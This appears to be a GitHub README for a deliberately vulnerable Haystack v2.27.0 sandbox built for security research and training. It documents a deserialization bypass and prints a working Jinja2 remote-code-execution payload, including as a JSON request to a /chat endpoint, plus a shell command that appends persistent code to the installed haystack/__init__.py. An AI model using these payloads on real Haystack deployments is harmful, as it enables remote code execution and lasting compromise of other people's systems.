Vulnerable Haystack Sandbox (haystack-ai v2.27.0)
September 4, 2026 · View on GitHub
A containerized sandbox environment demonstrating a critical Insecure Orchestration vulnerability in Deepset Haystack. This sandbox exposes a serialization boundary evasion flaw where the from_dict() deserialization method passes security-critical parameters directly to component constructors without validation, allowing attackers to bypass the unsafe=False boundary and achieve persistent Remote Code Execution (RCE).
| Field | Value |
|---|---|
| Target | Deepset Haystack (haystack-ai v2.27.0) |
| CVSS v3.1 | 10.0 (Critical) – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE Chain | CWE-502 (Deserialization of Untrusted Data) → CWE-94 (Code Injection) → CWE-184 (Incomplete Input Filtering) |
| Root Cause | default_from_dict() passes all init_parameters directly to component constructors without stripping security-critical flags |
| Research Paper | JDP-2026-005 |
| Author | Jeff Ponte (JDP Security) |
Vulnerability Overview
The Serialization Boundary Flaw
The unsafe flag is documented as a security control that gates Jinja2 template execution. When unsafe=False, the framework uses SandboxedEnvironment. When unsafe=True, it uses NativeEnvironment which allows arbitrary code execution. However, the deserialization method from_dict() trusts the serialized data implicitly:
# haystack/core/serialization.py
def default_from_dict(cls: type[T], data: dict[str, Any]) -> T:
init_params = data.get("init_parameters", {})
# ... type validation only (no security validation) ...
return cls(**init_params) # PASSES ALL PARAMETERS TO CONSTRUCTOR UNFILTERED
An attacker simply includes "unsafe": true in the serialized pipeline payload, and the framework initializes the component in unsafe mode — bypassing the Jinja2 sandbox entirely.
Affected Components
Both OutputAdapter and ConditionalRouter components accept the unsafe parameter and are vulnerable through the same deserialization path.
Quick Start
Prerequisites
- Docker or Podman
- Python 3.10+
- Make
Build and Run
cd sandboxes/agentic_local_haystack
# Build the container
make attack
# Verify the service is running
curl http://localhost:8000/health
Expected Health Response
{
"status": "ok",
"haystack_version": "2.27.0"
}
API Endpoints
GET /health
Returns sandbox status and Haystack version.
POST /chat
Main interaction endpoint. Accepts a JSON body with a query field containing a pipeline definition to load and execute.
YAML Pipeline Load:
{
"query": "Action: load_pipeline\nAction Input: {\"pipeline\": \"components:\\n adapter:\\n type: haystack.components.converters.output_adapter.OutputAdapter\\n init_parameters:\\n template: |\\n {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }}\\n output_type: str\\n unsafe: true\\nconnections: []\\ninputs: {}\\noutputs: {}\"}"
}
GET /verify
Returns the integrity state of the Haystack framework installation. Checks haystack/__init__.py for markers indicating persistent compromise.
{
"status": "clean",
"haystack_version": "2.27.0",
"init_file": "/usr/local/lib/python3.11/site-packages/haystack/__init__.py",
"markers_found": []
}
When compromised:
{
"status": "compromised",
"haystack_version": "2.27.0",
"init_file": "/usr/local/lib/python3.11/site-packages/haystack/__init__.py",
"markers_found": ["SCOPE CHANGE", "HAYSTACK SCOPE CHANGE"]
}
Exploitation Lifecycle
Stage 1: YAML Deserialization Bypass
A malicious YAML pipeline with "unsafe": true is processed by Pipeline.from_dict(). The default_from_dict() sink passes the unsafe parameter directly to the component constructor without validation.
components:
adapter:
type: haystack.components.converters.output_adapter.OutputAdapter
init_parameters:
template: |
{{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }}
output_type: str
unsafe: true
Stage 2: Persistent Framework Compromise (Scope Change)
The initial RCE is weaponized to append Python code to the global framework file:
echo 'print("!!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!")' >> /usr/local/lib/python3.11/site-packages/haystack/__init__.py
This creates a CVSS Scope Change (S:C) — every subsequent Python process executing import haystack will run the injected payload. The compromise survives pipeline deletion, application restarts, and container reboots.
Exploitation
The companion exploitation tools are located in:
exploitation/
└── haystack/
├── interactive_trainer.py # Menu-driven CLI trainer (6 lessons)
└── payloads/ # Pre-built exploit payloads
├── yaml_bypass.yaml
├── rce_persist.yaml
└── conditional_router_bypass.yaml
Container Management
# Stop the container
make stop
# View logs
make logs
# Clean up everything
make clean
Files
| File | Purpose |
|---|---|
Containerfile | Python 3.11-slim build with haystack-ai v2.27.0 |
Makefile | Build/run/stop lifecycle management |
README.md | This documentation |
app/server.py | Vulnerable Flask API server with /chat, /verify, and /health endpoints |
References
- JDP-2026-005: Architectural Boundary Limitations in Haystack
- CWE-502: Deserialization of Untrusted Data
- CWE-94: Code Injection
- CWE-184: Incomplete List of Disallowed Inputs
- OWASP Top 10 for LLM Applications: LLM06 – Excessive Agency
- OWASP Agentic Security: ASI02 – Tool Misuse
- Commit 3e3f79b9: Introduction of the
unsafefeature